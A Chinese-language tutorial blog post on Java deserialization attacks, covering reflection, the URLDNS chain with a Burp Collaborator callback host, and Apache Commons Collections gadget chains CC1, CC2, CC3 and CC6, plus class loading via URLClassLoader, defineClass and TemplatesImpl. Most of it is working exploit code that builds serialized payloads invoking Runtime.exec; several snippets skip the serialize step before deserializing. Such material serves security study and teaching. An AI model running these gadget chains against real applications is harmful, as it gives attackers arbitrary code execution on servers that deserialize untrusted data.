Java反序列化
反射
总的一句话,获得一个类的原型,然后可以操纵类的生成对象以及属性,方法的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;public class TestRe { public static void main (String[] args) throws Exception { Person person = new Person (); Class p = Class.forName("Person" ); Constructor s = p.getConstructor(int .class, String.class); Person c = (Person) s.newInstance(123 , "123" ); System.out.println(c); Field name = p.getDeclaredField("name" ); name.setAccessible(true ); name.set(c,"321" ); System.out.println(c); Method method = p.getMethod("test" , String.class); method.invoke(c,"test" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class Person implements Serializable { public int age; private String name; public Person (int age, String name) { this .age = age; this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } public Person () { } @Override public String toString () { return "Person{" + "age=" + age + ", name='" + name + '\'' + '}' ; } public String getName () { return name; } public void test (String name) { System.out.println(name); } public void setName (String name) { this .name = name; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } }
序列化和反序列化
与php反序列化的构造不一样,php反序列化是通过终点反推起点,然后进行pop链子的构造
java的反序列化链子是通过反序列化的时候会自动调用readObject方法,然后去寻找入口类,再来构造链子
在readObjet中去寻找常见的方法
URL链子分析
HashMap的readObject下会调用hash方法然后会调用hashCode方法
URL的hashCode方法会调用handler.hashCode
handler.hashCode中存在getHostAddress发起恶意请求
所以恶意链的构造就是实现URL->hashCode->handler.hashCode->getHostAddress,然后使用HashMap触发hashCode方法就行,也就是说在HashMap中添加URL对象,在触发HashMap的hashCode同时触发URL的hashCode。
但是需要对URL进行处理,在序列化的过程中不会触发DNS请求,在反序列化的时候实现DNS请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Serialization { public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static void main (String[] args) throws Exception { HashMap<URL,Integer> hashmap = new HashMap <URL,Integer>(); URL url = new URL ("http://2iljqi25st6yxyqgj2watim54wanyc.burpcollaborator.net" ); Class c = url.getClass(); Field urlfield = c.getDeclaredField("hashCode" ); urlfield.setAccessible(true ); urlfield.set(url,123 ); hashmap.put(url,1 ); urlfield.set(url,-1 ); serialize(hashmap); } }
CC链分析前置知识
首先我们需要知道cc是指Apache Commons Collections
,然后在cc链的利用中最重要的就是Transformer
接口,然后在这个接口的实现类中,需要关注的是ChainedTransformer
,ConstantTransformer
,InvokerTransformer
这三个类,那么暂时就不做恶意链的构造,而是先看一下怎么去使用这些类进行触发Runtime
实现了类对象的返回,作用主要在于存在transform方法,与ChainedTransformer可以实现链式调用
构造函数以及transform方法
1 2 3 4 5 6 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
使用如下用法
1 2 3 4 5 6 7 8 9 10 11 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;public class TestCC { public static void main (String[] args) { ConstantTransformer constantTransformer = new ConstantTransformer (Runtime.getRuntime()); Object transform = constantTransformer.transform(new Object ()); System.out.println(transform.getClass().getName()); } }
传入一个对象,然后调用transform方法返回一个对象
实现了一个类的方法的调用
构造方法以及transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var6); } } }
用法如下
1 2 3 4 5 6 7 8 9 import org.apache.commons.collections.functors.InvokerTransformer;public class TestCC { public static void main (String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); invokerTransformer.transform(Runtime.getRuntime()); } }
参数说明:
第一个传入类的方法名字
第二个传入方法名字的参数的列表
第三个传入实际对应方法的参数
然后在实际的运行中,会将三个参数进行初始化传入到类的成员变量,然后利用transform方法传入input类,获得该类的原型,对应的方法以及调用该方法,其中返回method.invoke(input, this.iArgs);,会返回一个Object
ChainedTransformer类实现了Transformer链式调用,就是将传入的列表都会进行调用transform方法,并且将上一个transform方法返回的类传递给下一个进行调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class TestCC { public static void main (String[] args) { String cmd = "calc" ; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , null } ), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , null } ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{cmd}) }; Transformer transformedChain = new ChainedTransformer (transformers); transformedChain.transform(null ); } }
换一种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class TestCC { public static void main (String[] args) { String cmd = "calc" ; Object r1 = new ConstantTransformer (Runtime.class).transform(null ); Object r2 = new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , null } ).transform(r1); Object r3 = new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , null } ).transform(r2); InvokerTransformer r4 = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{cmd}); r4.transform(r3); } }
与质朴的反射对比,transform会比较抽象一下,但是只要明白用ConstantTransformer开头,然后使用InvokerTransformer方法进行不断调用获得必要的组件,返回的对象都包含之前的迭代信息,通过invoke方法成功实例化对象那么基本上就清晰很多了,接下来进行cc链的分析
字节码加载
URLClassLoader
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.IOException;import java.net.URL;import java.net.URLClassLoader;public class TestLoader { public static void main (String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { URL[] urls = {new URL ("http://127.0.0.1:8090/" )}; URLClassLoader classLoader = URLClassLoader.newInstance(urls); Class<?> c = classLoader.loadClass("Hello" ); c.newInstance(); } }
1 2 3 4 5 6 7 8 import java.io.IOException;public class Hello { public Hello () throws IOException { System.out.println("aseda" ); } }
可以配合其他的漏洞进行攻击
defineClass
方式一
麻烦
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.lang.reflect.Method;import java.util.Base64;public class TestLoader { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAHgoABgAPCQAQABEIABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAXAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAAcACAcAGAwAGQAaAQAFYXNlZGEHABsMABwAHQEABUhlbGxvAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAAQABAAFAAwABgALAAAABAABAAwAAQANAAAAAgAO" ); System.out.println(code); Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length); hello.newInstance(); } }
方式二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class TestLoader { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("Hello.class" )); Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length); hello.newInstance(); } }
TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
重写了defineClass,同时Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TestLoader { public static void main (String[] args) throws Exception { byte [] code= Files.readAllBytes(Paths.get("HelloTemplatesImpl.class" )); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer(); } public static void setFieldValue (Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } }
CC1
CC1的链子一共是两条,一条使用的是LazyMap,一条使用的是TransformedMap,我们最终的目的是触发上面分析之后的ChainedTransformer的transform方法
限制条件,jdk版本在Oracle JDK 8u71以前,在8u71开始,AnnotationInvocationHandler的readObjet发生变化
参考链接:p神安全漫谈
https://ch1e.gitee.io/2022/02/21/cc1/
构造函数
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
但是protected
所以需要找到内部的调用函数,类似于getruntime
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
能够触发transform的地方在
1 2 3 protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
其父类AbstractInputCheckedMapDecorator中的MapEntry方法会调用
1 2 3 4 5 6 7 8 9 10 11 12 13 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = this .parent.checkSetValue(value); return this .entry.setValue(value); } }
因为其重写了setValue,然后调用parent的checkSetValue,那么只要传入的东西符合即可,稍微测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static void main (String[] args) throws Exception { Transformer [] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); Map<Object, Object> map = new HashMap <>(); map.put("value" , "CC1" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); for (Map.Entry entry: transformedMap.entrySet() ){ entry.setValue("xxx" ); } }
成功触发
那么就需要寻找调用setValue的readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
AnnotationInvocationHandler下的readObject调用了setValue,并且跟我们测试的地方处理方式相似
那么整个的调用链子就出来了
1 2 3 AnnotationInvocationHandler->readObject->setValue AbstractInputCheckedMapDecorator->MapEntry->setValue->checkSetValue TransformedMap->checkSetValue->transform
通过AnnotationInvocationHandler的readObject调用setValue,然后触发AbstractInputCheckedMapDecorator->MapEntry->setValue->checkSetValue,最终触发transform形成链子
然后需要注意的是,进入这个循环需要满足memberType != null,那么跟到本质是在AnnotationType下面需要对其进行初始化,传入的是一个标签,并且需要特定的数值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private AnnotationType (final Class<? extends Annotation> var1) { if (!var1.isAnnotation()) { throw new IllegalArgumentException ("Not an annotation type" ); } else { Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction <Method[]>() { public Method[] run() { return var1.getDeclaredMethods(); } }); this .memberTypes = new HashMap (var2.length + 1 , 1.0F ); this .memberDefaults = new HashMap (0 ); this .members = new HashMap (var2.length + 1 , 1.0F ); Method[] var3 = var2; int var4 = var2.length; for (int var5 = 0 ; var5 < var4; ++var5) { Method var6 = var3[var5]; if (var6.getParameterTypes().length != 0 ) { throw new IllegalArgumentException (var6 + " has params" ); } String var7 = var6.getName(); Class var8 = var6.getReturnType(); this .memberTypes.put(var7, invocationHandlerReturnType(var8)); this .members.put(var7, var6); Object var9 = var6.getDefaultValue(); if (var9 != null ) { this .memberDefaults.put(var7, var9); } } if (var1 != Retention.class && var1 != Inherited.class) { JavaLangAccess var10 = SharedSecrets.getJavaLangAccess(); Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class []{Retention.class, Inherited.class}); Retention var12 = (Retention)var11.get(Retention.class); this .retention = var12 == null ? RetentionPolicy.CLASS : var12.value(); this .inherited = var11.containsKey(Inherited.class); } else { this .retention = RetentionPolicy.RUNTIME; this .inherited = false ; } } }
其中需要有Retention标签,当然Target也行
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { Transformer [] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); Map map = new HashMap (); map.put("value" , "CC1" ); Map transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationconst = annotation.getDeclaredConstructor(Class.class, Map.class); annotationconst.setAccessible(true ); Object annotationInvocationHandler = annotationconst.newInstance(Target.class, transformedMap); unserialize("CC1.bin" ); } public static void serialize (Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC1.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
LazyMap
整个的流程不变,但是触发的方式使用的是LazyMap
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!this .map.containsKey(key)) { Object value = this .factory.transform(key); this .map.put(key, value); return value; } else { return this .map.get(key); } }
其中存在get方法触发transform方法,然后AnnotationInvocationHandler中的invoke方法调用了get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
然后通过动态代理触发(只要将AnnotationInvocationHandler当作委托,那么只要调用代理类,必然会触发委托类的invoke)
链子如下
1 2 3 Proxy->AnnotationInvocationHandler->invoke AnnotationInvocationHandler->invoke->get LazyMap->get->transform
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class TestCC { public static void main (String[] args) throws Exception { Transformer [] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); Map hashMap = new HashMap (); Map outMap = LazyMap.decorate(hashMap,chainedTransformer); Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=annotation.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outMap); Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class [] {Map.class},handler); handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap); unserialize("CC1.bin" ); } public static void serialize (Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC1.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
CC2
限制在CC3.x版本不可以使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class TestLoader { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("HelloTemplatesImpl.class" )); TemplatesImpl TemplatesImpl_instance = new TemplatesImpl (); setFieldValue(TemplatesImpl_instance, "_bytecodes" , new byte [][]{code}); setFieldValue(TemplatesImpl_instance, "_name" , "TemplatesImpl" ); InvokerTransformer transformer=new InvokerTransformer ("newTransformer" ,null ,null ); TransformingComparator transformer_comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); setFieldValue(queue,"comparator" ,transformer_comparator); setFieldValue(queue,"queue" ,new Object []{TemplatesImpl_instance , TemplatesImpl_instance}); serialize(queue); unserialize("CC2.bin" ); } public static void serialize (Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream ("CC2.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(object); } public static void unserialize (String filename) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream (filename); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
贴一个payload即可,很多开始排列组合了,没必要继续下去了,主要就是寻找入口之后的一段调用,剩下的没啥问题了
CC3
配合字节码加载以及cc1的方法触发可以触发任意命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.*;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TestLoader { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("HelloTemplatesImpl.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"aaa" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <Object,Object>(); map.put("value" ,"xxx" ); Map transformedmap = TransformedMap.decorate(map,null ,chainedTransformer); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class); annotation.setAccessible(true ); Object o = annotation.newInstance(Target.class,transformedmap); serialize(o); unserialize("CC3.bin" ); } public static void serialize (Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream ("CC3.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(object); } public static void unserialize (String filename) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream (filename); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
CC6
解决高版本的问题
首先org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue方法调用了get,hashCode方法调用了getValue方法,只要使用hashcode就可以构造出新的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class TestCC { public static void main (String[] args) throws Exception { Transformer[] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer []{}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" ); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); outerMap.remove("keykey" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transforms); unserialize("CC6.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC6.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception { ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
首先先构造出LazyMap,transformerChain先使用fake,后面再替换防止运行时触发POC(参考之前的URL链子的原因)
然后使用TiedMapEntry将LazyMap带入,然后再创造一个新的Map用于触发hashcode然后触发TiedMapEntry中的getValue方法,然后调用get方法,但是put方法如下
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
调用了hash,那么也就是说还是触发了hashCode
此时将outerMap中的key进行remove即可,因为将其中的key的一些相关数值删除了,但是没有将键值对删去
链子
1 2 3 HashMap->hashCode->getValue TiedMapEntry->getValue->get LazyMap->get->transform